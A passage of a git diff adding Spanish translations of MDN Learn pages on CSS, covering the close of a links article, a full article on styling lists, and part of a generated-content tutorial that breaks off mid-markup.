+<p><strong>Nota</strong>: Es posible que hayas observado que en el HTML se han colocado todos los elementos de lista en una misma línea; esto es porque los espacios/saltos de línea que se colocan entre elementos de bloque crean espacios en la página, igual como lo hacen los espacios entre las palabras, y estos espacios romperían nuestro diseño de menú de navegación horizontal. Así que hemos eliminado esos espacios. Puede encontrar más información sobre este problema (y sus soluciones) en <a href="https://css-tricks.com/fighting-the-space-between-inline-block-elements/">Combatir los espacios entre elementos de bloque colocados en línea</a>.</p>
+</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Esperamos que este artículo te haya proporcionado todo lo que necesitas saber acerca de los enlaces... ¡por ahora! En el artículo final de nuestro módulo de aplicar estilo al texto detallaremos cómo usar tipos de letra personalizados para sitios web (o tipos de letra para web, como se les conoce comúnmente).</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Nociones de aplicación de estilo con CSS a textos y tipos de letra</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">Aplicar estilo a listas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_links">Aplicar estilo a enlaces</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Web_fonts">Tipos de letra para web</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Composición tipográfica de una página de inicio de una escuela comunitaria</a></li>
+</ul>
diff --git a/files/es/learn/css/styling_text/styling_lists/index.html b/files/es/learn/css/styling_text/styling_lists/index.html
new file mode 100644
index 0000000000..eeb395313b
--- /dev/null
+++ b/files/es/learn/css/styling_text/styling_lists/index.html
@@ -0,0 +1,392 @@
+---
+title: Aplicación de estilo a listas
+slug: Learn/CSS/Styling_text/Styling_lists
+translation_of: Learn/CSS/Styling_text/Styling_lists
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}</div>
+
+<p class="summary">Las <a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists">listas</a> se comportan como cualquier otro texto en su mayor parte, pero hay algunas propiedades CSS específicas de las listas que debes conocer y algunas prácticas recomendadas a tener en cuenta. Este artículo te lo explica.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, conocimientos básicos de HTML (estudio <a href="/es/docs/Learn/HTML/Introduccion_a_HTML">introducción a HTML</a>), nociones de cómo trabaja con CSS (estudio <a href="/es/docs/Learn/CSS/First_steps">introducción a CSS</a>), <a href="/es/docs/Learn/CSS/Styling_text/Fundamentals">Conocimientos básicos de CSS para texto y tipos de letra</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Familiarizarse con las buenas prácticas y propiedades relacionadas con la aplicación de estilo a listas.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Un_ejemplo_sencillo_de_lista">Un ejemplo sencillo de lista</h2>
+
+<p>Para empezar, veamos un ejemplo sencillo de una lista. A lo largo de este artículo veremos listas no ordenadas, listas ordenadas y listas de descripciones; todas tienen características de estilo similares, algunas que son particulares del tipo de lista. El ejemplo sin ningún estilo aplicado está <a href="http://mdn.github.io/learning-area/css/styling-text/styling-lists/unstyled-list.html">disponible en Github</a> (consulta también el <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/styling-lists/unstyled-list.html">código fuente</a>.)</p>
+
+<p>El HTML para nuestro ejemplo de lista se ve así:</p>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Shopping (unordered) list&lt;/h2&gt;
+
+&lt;p&gt;Paragraph for reference, paragraph for reference, paragraph for reference,
+paragraph for reference, paragraph for reference, paragraph for reference.&lt;/p&gt;
+
+&lt;ul&gt;
+  &lt;li&gt;Humous&lt;/li&gt;
+  &lt;li&gt;Pitta&lt;/li&gt;
+  &lt;li&gt;Green salad&lt;/li&gt;
+  &lt;li&gt;Halloumi&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;h2&gt;Recipe (ordered) list&lt;/h2&gt;
+
+&lt;p&gt;Paragraph for reference, paragraph for reference, paragraph for reference,
+paragraph for reference, paragraph for reference, paragraph for reference.&lt;/p&gt;
+
+&lt;ol&gt;
+  &lt;li&gt;Toast pitta, leave to cool, then slice down the edge.&lt;/li&gt;
+  &lt;li&gt;Fry the halloumi in a shallow, non-stick pan, until browned on both sides.&lt;/li&gt;
+  &lt;li&gt;Wash and chop the salad.&lt;/li&gt;
+  &lt;li&gt;Fill pitta with salad, humous, and fried halloumi.&lt;/li&gt;
+&lt;/ol&gt;
+
+&lt;h2&gt;Ingredient description list&lt;/h2&gt;
+
+&lt;p&gt;Paragraph for reference, paragraph for reference, paragraph for reference,
+paragraph for reference, paragraph for reference, paragraph for reference.&lt;/p&gt;
+
+&lt;dl&gt;
+  &lt;dt&gt;Humous&lt;/dt&gt;
+  &lt;dd&gt;A thick dip/sauce generally made from chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.&lt;/dd&gt;
+  &lt;dt&gt;Pitta&lt;/dt&gt;
+  &lt;dd&gt;A soft, slightly leavened flatbread.&lt;/dd&gt;
+  &lt;dt&gt;Halloumi&lt;/dt&gt;
+  &lt;dd&gt;A semi-hard, unripened, brined cheese with a higher-than-usual melting point, usually made from goat/sheep milk.&lt;/dd&gt;
+  &lt;dt&gt;Green salad&lt;/dt&gt;
+  &lt;dd&gt;That green healthy stuff that many of us just use to garnish kebabs.&lt;/dd&gt;
+&lt;/dl&gt;</pre>
+
+<p>Si accedes al ejemplo en vivo e investigas los elementos de la lista usando las <a href="/es/docs/Learn/Common_questions/What_are_browser_developer_tools">herramientas de desarrollador del navegador</a>, observarás un par de valores de estilo predeterminados:</p>
+
+<ul>
+ <li>Los elementos {{htmlelement("ul")}} y {{htmlelement("ol")}} tienen un {{cssxref("margin")}} superior e inferior de <code>16px</code> (<code>1em</code>)  y un {{cssxref("padding-left")}} de <code>40px</code> (<code>2.5em</code>.)</li>
+ <li>Los elementos de lista {{htmlelement("li")}} no tienen valores de espacio predeterminados.</li>
+ <li>El elemento {{htmlelement("dl")}} tiene un {{cssxref("margin")}} superior e inferior de <code>16px</code> (<code>1em</code>), pero no tiene ningún {{cssxref("padding")}} establecido.</li>
+ <li>Los elementos {{htmlelement("dd")}} tienen un {{cssxref("margin-left")}} de <code>40px</code> (<code>2.5em</code>).</li>
+ <li>Los elementos de referencia {{htmlelement("p")}} que hemos incluido tienen un {{cssxref("margin")}} superior e inferior de <code>16px</code> (<code>1em</code>), al igual que los diferentes tipos de lista.</li>
+</ul>
+
+<h2 id="Manejar_el_espaciado_de_la_lista">Manejar el espaciado de la lista</h2>
+
+<p>Al diseñar listas, es necesario ajustar el diseño para que mantengan los mismos espaciados verticales (a veces denominados ritmos verticales) que el resto de elementos circundantes, como párrafos e imágenes; y el mismo espaciado horizontal entre uno y otro (en Github puedes ver el <a href="http://mdn.github.io/learning-area/css/styling-text/styling-lists/">ejemplo de diseño terminado</a>, y también <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/styling-lists/index.html">encontrar el código fuente</a>.)</p>
+
+<p>El CSS que se utiliza para aplicar estilo al texto y al espaciado de texto es el siguiente:</p>
+
+<pre class="brush: css notranslate">/* Estilos generales */
+
+html {
+  font-family: Helvetica, Arial, sans-serif;
+  font-size: 10px;
+}
+
+h2 {
+  font-size: 2rem;
+}
+
+ul,ol,dl,p {
+  font-size: 1.5rem;
+}
+
+li, p {
+  line-height: 1.5;
+}
+
+/* Estilos para las listas de descripciones */
+
+
+dd, dt {
+  line-height: 1.5;
+}
+
+dt {
+  font-weight: bold;
+}
+
+dd {
+  margin-bottom: 1.5rem;
+}</pre>
+
+<ul>
+ <li>La primera regla establece un tipo de letra para todo el sitio y un tamaño de letra base de 10px. Estos valores se heredan para toda la página.</li>
+ <li>Las reglas 2 y 3 establecen tamaños de letra relativos para los títulos, diferentes tipos de listas (que heredan los hijos de los elementos de listas), y párrafos. Esto significa que todos los párrafos y todas las listas tendrán el mismo tamaño de letra y el mismo espaciado superior e inferior, lo que ayudará a mantener el ritmo vertical constante.</li>
+ <li>La regla 4 establece el mismo interlineado ({{cssxref("line-height")}}) en los párrafos y los elementos de las listas, de modo que todos los párrafos y todos los elementos individuales de las listas tendrán el mismo espaciado entre las líneas. Esto también ayudará a mantener el ritmo vertical consistente.</li>
+ <li>Las reglas 5 y 6 se aplican a las listas de descripciones; establecemos la misma altura de interlineado (<code>line-height</code>) en los términos y las descripciones de la lista de descripciones, así como hicimos con los párrafos y los elementos de la lista. De nuevo, ¡la coherencia es buena! También establecemos que los términos de las descripciones tengan un estilo de negrita, para que destaquen visualmente.<span id="cke_bm_126E" style="display: none;"> </span></li>
+</ul>
+
+<h2 id="Estilos_específicos_de_las_listas">Estilos específicos de las listas</h2>
+
+<p>Ahora que hemos analizado el espaciado general de las listas, exploremos algunas propiedades específicas de las listas. Para empezar, debes conocer tres propiedades que pueden establecerse en los elementos {{htmlelement("ul")}} o {{htmlelement("ol")}}:</p>
+
+<ul>
+ <li>{{cssxref("list-style-type")}}: Establece el tipo de viñetas para la lista, por ejemplo, viñetas cuadradas o circulares para una lista no ordenada; números, letras, o números romanos para una lista ordenada.</li>
+ <li>{{cssxref("list-style-position")}}: Establece si las viñetas aparecen dentro de los elementos de la lista o fuera de ellos, antes del inicio de cada elemento.</li>
+ <li>{{cssxref("list-style-image")}}: Te permite usar una imagen personalizada para la viñeta, en lugar de un simple cuadrado o círculo.</li>
+</ul>
+
+<h3 id="El_estilo_de_la_viñeta">El estilo de la viñeta</h3>
+
+<p>Como ya sabes, la propiedad {{cssxref("list-style-type")}} te permite establecer qué tipo de viñeta usar. En nuestro ejemplo, hemos establecido que se usen números romanos en mayúsculas para la lista ordenada, con:</p>
+
+<pre class="brush: css notranslate">ol {
+  list-style-type: upper-roman;
+}</pre>
+
+<p>Esto nos da el aspecto siguiente:</p>
+
+<p><img alt="Una lista ordenada con las viñetas establecidas para aparecer fuera del texto del elemento de lista." src="https://mdn.mozillademos.org/files/12962/outer-bullets.png" style="border-style: solid; border-width: 1px; display: block; height: 119px; margin: 0px auto; width: 376px;"></p>
+
+<p>Puedes encontrar muchas más opciones si echas un vistazo a la página de referencia de {{cssxref("list-style-type")}}.</p>
+
+<h3 id="La_posición_de_la_viñeta">La posición de la viñeta</h3>
+
+<p>La propiedad {{cssxref("list-style-position")}} establece si las viñetas aparecen dentro de los elementos de la lista, o fuera de ellos antes del inicio de cada elemento. El valor por defecto es <code>outside</code>, que provoca que las viñetas se sitúen fuera de los elementos de lista, como se observa arriba.</p>
+
+<p>Si estableces el valor en <code>inside</code>, las viñetas se ubican dentro de las líneas:</p>
+
+<pre class="brush: css notranslate">ol {
+  list-style-type: upper-roman;
+  list-style-position: inside;
+}</pre>
+
+<p><img alt="an ordered list with the bullet points set to appear inside the list item text." src="https://mdn.mozillademos.org/files/12958/inner-bullets.png" style="border-style: solid; border-width: 1px; display: block; height: 123px; margin: 0px auto; width: 370px;"></p>
+
+<h3 id="Uso_de_una_imagen_personalizada_como_viñeta">Uso de una imagen personalizada como viñeta</h3>
+
+<p>La propiedad {{cssxref("list-style-image")}} te permite usar una imagen personalizada para tu viñeta. La sintaxis es muy simple:</p>
+
+<pre class="brush: css notranslate">ul {
+  list-style-image: url(star.svg);
+}</pre>
+
+<p>Sin embargo, esta propiedad es un poco limitada por lo que respecta al control de la posición, el tamaño, etc., de las viñetas. Es más conveniente usar la familia de propiedades {{cssxref("background")}}, de la cual aprenderás mucho más en el módulo <a href="/es/docs/Learn/CSS/Building_blocks">Aplicar diseño a las cajas</a>.</p>
+
+<p>En nuestro ejemplo terminado, hemos aplicado estilo a la lista no ordenada de este modo (encima de lo que ya has visto arriba):</p>
+
+<pre class="brush: css notranslate">ul {
+  padding-left: 2rem;
+  list-style-type: none;
+}
+
+ul li {
+  padding-left: 2rem;
+  background-image: url(star.svg);
+  background-position: 0 0;
+  background-size: 1.6rem 1.6rem;
+  background-repeat: no-repeat;
+}</pre>
+
+<p>Aquí hemos hecho lo siguiente:</p>
+
+<ul>
+ <li>
+  <p dir="ltr" id="tw-target-text">Reducir el valor de la propiedad {{cssxref("padding-left")}} del elemento {{htmlelement ("ul")}} desde su valor predeterminado de 40 px hasta 20 px. A continuación, establecer<br>
+   la misma cantidad para los elementos de la lista. De este modo, todos los elementos de la lista siguen alineados con los elementos de la lista ordenada y las descripciones, pero los elementos de lista tienen algo de relleno (<code>padding</code>) para poder insertar las imágenes de fondo. Si no hiciéramos esto, las imágenes de fondo se solaparían con el texto de los elementos de la lista y quedaría un aspecto desordenado.</p>
+ </li>
+ <li>
+  <p dir="ltr" id="tw-target-text">Establecer la propiedad {{cssxref("list-style-type")}} en <code>none</code>, para que no aparezca la viñeta predeterminada. En lugar de ello, vamos a utilizar las propiedades {{cssxref("background")}} para manejar las viñetas.</p>
+ </li>
+ <li>Insertar una viñeta en cada elemento de la lista sin ordenar. Las propiedades relevantes son las siguientes:
+  <ul>
+   <li>{{cssxref("background-image")}}: Proporciona la ruta que apunta al archivo de imagen que quieres usar como viñeta.</li>
+   <li>{{cssxref("background-position")}}: Define en qué lugar del elemento seleccionado va a aparecer la imagen; en este caso le decimos <code>0 0</code>, que significa que la viñeta va a aparecer en el extremo superior izquierdo de cada elemento de lista.</li>
+   <li>{{cssxref("background-size")}}: Establece el tamaño de la imagen de fondo. En teoría queremos que las viñetas sean del mismo tamaño que los elementos de lista (o solo un poco menores o mayores). Utilizamos un tamaño de <code>1.6rem</code> (<code>16px</code>), que encaja muy bien con el área de relleno de <code>20px</code> que hemos elegido para que quepa la viñeta; 16 px más 4 px de espacio entre la viñeta y el texto del elemento de lista funciona bien.</li>
+   <li>{{cssxref("background-repeat")}}: Por defecto, las imágenes de fondo se repiten hasta rellenar todo el espacio de fondo disponible. En este caso solo queremos una copia de la imagen, de modo que establecemos el valor de esta propiedad en <code>no-repeat</code>.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Esto nos da el resultado siguiente:</p>
+
+<p><img alt="an unordered list with the bullet points set as little star images" src="https://mdn.mozillademos.org/files/12956/image-bullets.png" style="border-style: solid; border-width: 1px; display: block; height: 106px; margin: 0px auto; width: 124px;"></p>
+
+<h3 id="Propiedad_abreviada_list-style">Propiedad abreviada list-style</h3>
+
+<p>Es posible configurar las tres propiedades anteriores con una sola propiedad abreviada, {{cssxref("list-style")}}. Por ejemplo, observa el CSS siguiente:</p>
+
+<pre class="brush: css notranslate">ul {
+  list-style-type: square;
+  list-style-image: url(example.png);
+  list-style-position: inside;
+}</pre>
+
+<p>Podría reemplazarse por esto:</p>
+
+<pre class="notranslate">ul {
+  list-style: square url(example.png) inside;
+}</pre>
+
+<p>Los valores pueden escribirse en cualquier orden, y puedes usar uno, dos o los tres (los valores por defecto que se utilizan para las propiedades que no están incluidas son <code>disc</code>, <code>none</code> y <code>outside</code>). Si se especifican tanto <code>type</code> como <code>image</code>, el tipo se usa como una segunda opción en el caso de que la imagen no sea posible cargar la imagen por cualquier motivo.</p>
+
+<h2 id="Control_de_numeración_de_las_listas">Control de numeración de las listas</h2>
+
+<p>A veces puedes querer numerar las listas de manera diferente, por ejemplo, que empiece con un número que no sea el 1, o que cuente hacia atrás, o que cuente a saltos de más de una unidad. HTML y CSS tienen algunas herramientas para ayudarte con esto.</p>
+
+<h3 id="start">start</h3>
+
+<p>El atributo {{htmlattrxref("start","ol")}} te permite empezar la numeración de la lista en un número diferente de 1. Observa el ejemplo siguiente:</p>
+
+<pre class="brush: html notranslate">&lt;ol start="4"&gt;
+  &lt;li&gt;Toast pitta, leave to cool, then slice down the edge.&lt;/li&gt;
+  &lt;li&gt;Fry the halloumi in a shallow, non-stick pan, until browned on both sides.&lt;/li&gt;
+  &lt;li&gt;Wash and chop the salad.&lt;/li&gt;
+  &lt;li&gt;Fill pitta with salad, humous, and fried halloumi.&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<p>Este código da el resultado siguiente:</p>
+
+<p>{{ EmbedLiveSample('start', '100%', 150) }}</p>
+
+<h3 id="reversed">reversed</h3>
+
+<p>El atributo {{htmlattrxref("reversed","ol")}} empieza la lista contando hacia atrás, en lugar de hacia adelante. Observa el ejemplo siguiente:</p>
+
+<pre class="brush: html notranslate">&lt;ol start="4" reversed&gt;
+  &lt;li&gt;Toast pitta, leave to cool, then slice down the edge.&lt;/li&gt;
+  &lt;li&gt;Fry the halloumi in a shallow, non-stick pan, until browned on both sides.&lt;/li&gt;
+  &lt;li&gt;Wash and chop the salad.&lt;/li&gt;
+  &lt;li&gt;Fill pitta with salad, humous, and fried halloumi.&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<p>Da el resultado siguiente:</p>
+
+<p>{{ EmbedLiveSample('reversed', '100%', 150) }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si en una lista inversa hay más elementos de lista que el valor que se ha establecido para el atributo <code>start</code>, la numeración continuará hasta cero y luego con valores negativos.</p>
+</div>
+
+<h3 id="value">value</h3>
+
+<p>El atributo {{htmlattrxref("value","ol")}} te permite establecer para tus elementos de lista unos valores numéricos específicos. Observa el ejemplo siguiente:</p>
+
+<pre class="brush: html notranslate">&lt;ol&gt;
+  &lt;li value="2"&gt;Toast pitta, leave to cool, then slice down the edge.&lt;/li&gt;
+  &lt;li value="4"&gt;Fry the halloumi in a shallow, non-stick pan, until browned on both sides.&lt;/li&gt;
+  &lt;li value="6"&gt;Wash and chop the salad.&lt;/li&gt;
+  &lt;li value="8"&gt;Fill pitta with salad, humous, and fried halloumi.&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<p>Da el resultado siguiente:</p>
+
+<p>{{ EmbedLiveSample('value', '100%', 150) }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Incluso si utilizas una propiedad {{cssxref("list-style-type")}} sin números, vas a tener que usar los valores numéricos equivalentes para el atributo <code>value</code>.</p>
+</div>
+
+<h2 id="Aprendizaje_activo_aplicar_estilo_a_una_lista_anidada">Aprendizaje activo: aplicar estilo a una lista anidada</h2>
+
+<p>En esta sesión de aprendizaje activo, queremos que tomes lo que has aprendido arriba y pruebes a aplicar estilo a una lista anidada. Te hemos provisto con un HTML, y queremos que hagas lo siguiente:</p>
+
+<ol>
+ <li>Poner viñetas cuadradas en la lista no ordenada.</li>
+ <li>Establecer un interlineado de 1,5 con respecto al tamaño de la letra tanto para la lista ordenada como para la lista no ordenada.</li>
+ <li>Poner letras minúsculas en la lista ordenada.</li>
+ <li>Juega con el ejemplo, libremente y cuanto quieras, experimenta con los tipos de viñetas, los espacios, o cualquier otra cosa con que te encuentres.</li>
+</ol>
+
+<p>Si te equivocas, puedes volver a empezar con el botón <em>Reinicio</em>. Si te quedas encallado, pulsa el botón <em>Mostrar la solución</em> para ver una posible solución.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"&gt;
+  &lt;h2&gt;HTML Input&lt;/h2&gt;
+  &lt;textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"&gt;&lt;ul&gt;
+  &lt;li&gt;First, light the candle.&lt;/li&gt;
+  &lt;li&gt;Next, open the box.&lt;/li&gt;
+  &lt;li&gt;Finally, place the three magic items in the box, in this exact order, to complete the spell:
+    &lt;ol&gt;
+      &lt;li&gt;The book of spells&lt;/li&gt;
+      &lt;li&gt;The shiny rod&lt;/li&gt;
+      &lt;li&gt;The goblin statue&lt;/li&gt;
+    &lt;/ol&gt;
+  &lt;/li&gt;
+&lt;/ul&gt;&lt;/textarea&gt;
+
+  &lt;h2&gt;CSS Input&lt;/h2&gt;
+  &lt;textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"&gt;&lt;/textarea&gt;
+
+  &lt;h2&gt;Output&lt;/h2&gt;
+  &lt;div class="output" style="width: 90%;height: 12em;padding: 10px;border: 1px solid #0095dd;overflow: auto;"&gt;&lt;/div&gt;
+  &lt;div class="controls"&gt;
+    &lt;input id="reset" type="button" value="Reset" style="margin: 10px 10px 0 0;"&gt;
+    &lt;input id="solution" type="button" value="Show solution" style="margin: 10px 0 0 10px;"&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: js notranslate">var htmlInput = document.querySelector(".html-input");
+var cssInput = document.querySelector(".css-input");
+var reset = document.getElementById("reset");
+var htmlCode = htmlInput.value;
+var cssCode = cssInput.value;
+var output = document.querySelector(".output");
+var solution = document.getElementById("solution");
+
+var styleElem = document.createElement('style');
+var headElem = document.querySelector('head');
+headElem.appendChild(styleElem);
+
+function drawOutput() {
+  output.innerHTML = htmlInput.value;
+  styleElem.textContent = cssInput.value;
+}
+
+reset.addEventListener("click", function() {
+  htmlInput.value = htmlCode;
+  cssInput.value = cssCode;
+  drawOutput();
+});
+
+solution.addEventListener("click", function() {
+  htmlInput.value = htmlCode;
+  cssInput.value = 'ul {\n  list-style-type: square;\n}\n\nul li {\n  line-height: 1.5;\n}\n\nol {\n  list-style-type: lower-alpha\n}';
+  drawOutput();
+});
+
+htmlInput.addEventListener("input", drawOutput);
+cssInput.addEventListener("input", drawOutput);
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 800) }}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<p>Los contadores CSS proporcionan herramientas avanzadas para la personalización de las numeraciones y la aplicación de estilo a las listas, pero son bastante complejos. Te recomendamos echarles un vistazo si quieres ampliar tus conocimientos. Consulta:</p>
+
+<ul>
+ <li>{{cssxref("@counter-style")}}</li>
+ <li>{{cssxref("counter-increment")}}</li>
+ <li>{{cssxref("counter-reset")}}</li>
+</ul>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La aplicación de estilo a listas se domina con relativa facilidad una vez que conoces algunos principios básicos y propiedades específicas asociados. En el artículo siguiente vamos a continuar con las técnicas de aplicación de estilo a enlaces.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Nociones de aplicación de estilo con CSS a textos y tipos de letra</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_lists">Aplicar estilo a listas</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Styling_links">Aplicar estilo a enlaces</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Styling_text/Web_fonts">Tipos de letra para web</a></li>
+ <li><a href="/en-US/Learn/CSS/Styling_text/Typesetting_a_homepage">Escribir una página de inicio para la comunidad escolar</a></li>
+</ul>
diff --git a/files/es/learn/css/sábercomo/generated_content/index.html b/files/es/learn/css/sábercomo/generated_content/index.html
new file mode 100644
index 0000000000..605e87f9e2
--- /dev/null
+++ b/files/es/learn/css/sábercomo/generated_content/index.html
@@ -0,0 +1,178 @@
+---
+title: Usando CSS para generar contenido
+slug: Learn/CSS/Sábercomo/Generated_content
+tags:
+  - CSS
+  - Fundamentos
+  - Guía
+  - Principiante
+  - Web
+  - graficos
+translation_of: Learn/CSS/Howto/Generated_content
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<p>{{ previousPage("/en-US/docs/Web/Guide/CSS/Getting_Started/Color", "Color") }}Esta es la 9ª sección del tutorial CSS Getting Started; Describe algunas formas en las que puede utilizar CSS para agregar contenido cuando se muestra un documento. Modifica su hoja de estilo para agregar contenido de texto y una imagen.</p>
+
+<h2 class="clearLeft" id="Informacion_Contenido">Informacion: Contenido</h2>
+
+<p>Una de las ventajas importantes de CSS es que le ayuda a separar el estilo de un documento de su contenido. Sin embargo, hay situaciones en las que tiene sentido especificar cierto contenido como parte de la hoja de estilo, no como parte del documento.</p>
+
+<p>El contenido especificado en una hoja de estilo puede consistir en texto o imágenes. Especifica el contenido de su hoja de estilos cuando el contenido está estrechamente vinculado a la estructura del documento.</p>
+
+<div class="tuto_details">
+<div class="tuto_type">
+<p>Más detalles</p>
+
+<p>Especificar contenido en una hoja de estilo puede causar complicaciones. Por ejemplo, es posible que tenga versiones de idioma diferentes de su documento que comparten una hoja de estilo. Si parte de la hoja de estilo tiene que ser traducida, significa que debe colocar las partes de la hoja de estilos en archivos separados y organizar para que se vincule con las versiones de idioma adecuado de su documento.</p>
+
+<p>Estas complicaciones no surgen si el contenido especificado incluye símbolos o imágenes que se aplican en todos los idiomas y culturas.</p>
+
+<p>El contenido especificado en una hoja de estilo no se convierte en parte del DOM.</p>
+</div>
+</div>
+
+<h3 id="Text_content" name="Text_content">Texto contenido</h3>
+
+<p>CSS puede insertar contenido de texto antes o después de un elemento. Para especificar esto, haga una regla y agregue {{cssxref (':: before')}} o {{cssxref (':: after')}} al selector. En la declaración, especifique la propiedad {{cssxref ('content')}} con el contenido de texto como su valor.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Ejemplo</div>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">Un texto donde necesito &lt;span class="ref"&gt;alguna cosa&lt;/span&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.ref::before {
+  font-weight: negrita;
+  color: navy;
+  content: "Reference: ";
+}</pre>
+
+<h4 id="Output">Output</h4>
+
+<p>{{ EmbedLiveSample('Text_content', 600, 30) }}</p>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">Mas detalles</div>
+
+<p>El conjunto de caracteres de una hoja de estilo es UTF-8 de forma predeterminada, pero se puede especificar en el vínculo o en la hoja de estilos o en otras formas. Para obtener más información, consulte 4. 4 Representación de hoja de estilo CSS en la especificación CSS.</p>
+
+<p>Los caracteres individuales también se pueden especificar mediante un mecanismo de escape que utiliza la barra invertida como el carácter de escape. Por ejemplo, \ 265B es el símbolo del ajedrez para una reina negra ♛. Para obtener más información, consulte Referencia a caracteres no representados en una codificación de caracteres y también Caracteres y caso en la Especificación CSS.</p>
+</div>
+
+<h3 id="Imagen_contenido">Imagen contenido</h3>
+
+<p>Para agregar una imagen antes o después de un elemento, puede especificar la URL de un archivo de imagen en el valor de la propiedad {{cssxref ('content')}}.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Ejemplo</div>
+
+<p>Esta regla añade un espacio y un icono después de cada enlace que tiene el glosario de clases:</p>
+
+<pre class="brush:css">a.glossary:after {content: " " url("../images/glossary-icon.gif");}
+</pre>
+</div>
+
+<p>Para agregar una imagen como fondo de un elemento, especifique la URL de un archivo de imagen en el valor de la propiedad {{cssxref ('background')}}. Esta es una propiedad abreviada que especifica el color de fondo, la imagen, cómo se repite la imagen y algunos otros detalles.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Ejemplo</div>
+
+<p>Esta regla establece el fondo de un elemento específico, utilizando una URL para especificar un archivo de imagen.</p>
+
+<p>El selector especifica el id del elemento. El valor no-repeat hace que la imagen aparezca sólo una vez:</p>
+
+<pre class="brush:css">#sidebar-box {background: url("../images/sidebar-ground.png") no-repeat;}
+</pre>
+</div>
+
+<div class="tuto_details">
+<div class="tuto_type">Mas detalles</div>
+
+<p>Para obtener información sobre las propiedades individuales que afectan a los fondos y sobre otras opciones al especificar imágenes de fondo, consulte {{Cssxref ('fondo')}}, página de referencia.</p>
+</div>
+
+<h2 id="Acción_Añadir_una_imagen_de_fondo">Acción: Añadir una imagen de fondo</h2>
+
+<p>Esta imagen es un cuadrado blanco con una línea azul en la parte inferior:</p>
+
+<table style="border: 2px solid #cccccc;">
+ <tbody>
+  <tr>
+   <td><img alt="Image:Blue-rule.png" class="internal" src="https://mdn.mozillademos.org/files/160/Blue-rule.png"></td>
+  </tr>
+ </tbody>
+</table>
+
+<ol>
+ <li>Descargue el archivo de imagen en el mismo directorio que su archivo CSS. (Por ejemplo, haga clic con el botón derecho del ratón para obtener un menú contextual y, a continuación, seleccione Guardar imagen como y especifique el directorio que está utilizando para este tutorial).</li>
+ <li>Edit your CSS file and add this rule to the body, setting a background image for the entire page.</li>
+ <li>
+  <pre class="brush:css">background: url("Blue-rule.png");
+</pre>
+
+  <p>La repetición de valor es la predeterminada, por lo que no es necesario especificarla. La imagen se repite horizontal y verticalmente, dando una apariencia como papel de escribir forrado:</p>
+
+  <div style="position: relative; width: 24em; height: 11em; border: 2px outset #36b; overflow: hidden;">
+  <p style="margin: 0px;"><img alt="Image:Blue-rule-ground.png" class="internal" src="https://mdn.mozillademos.org/files/161/Blue-rule-ground.png"></p>
+
+  <div style="position: absolute; top: 0px; left: 0px; border: none; margin: 0px; padding: .5em 0px 0px 1em; font: 16px 'Comic Sams MS', cursive; color: blue; background-color: transparent;">
+  <div style="font-style: italic; width: 24em;">
+  <p><strong style="background-color: #ddddff; color: red; font: 200% serif;">C</strong>ascading <strong style="background-color: #ddddff; color: green; font: 200% serif;">S</strong>tyle <strong style="background-color: #ddddff; color: green; font: 200% serif;">S</strong>heets</p>
+  </div>
+
+  <div style="font-style: normal; padding-top: 2px; height: 8em;">
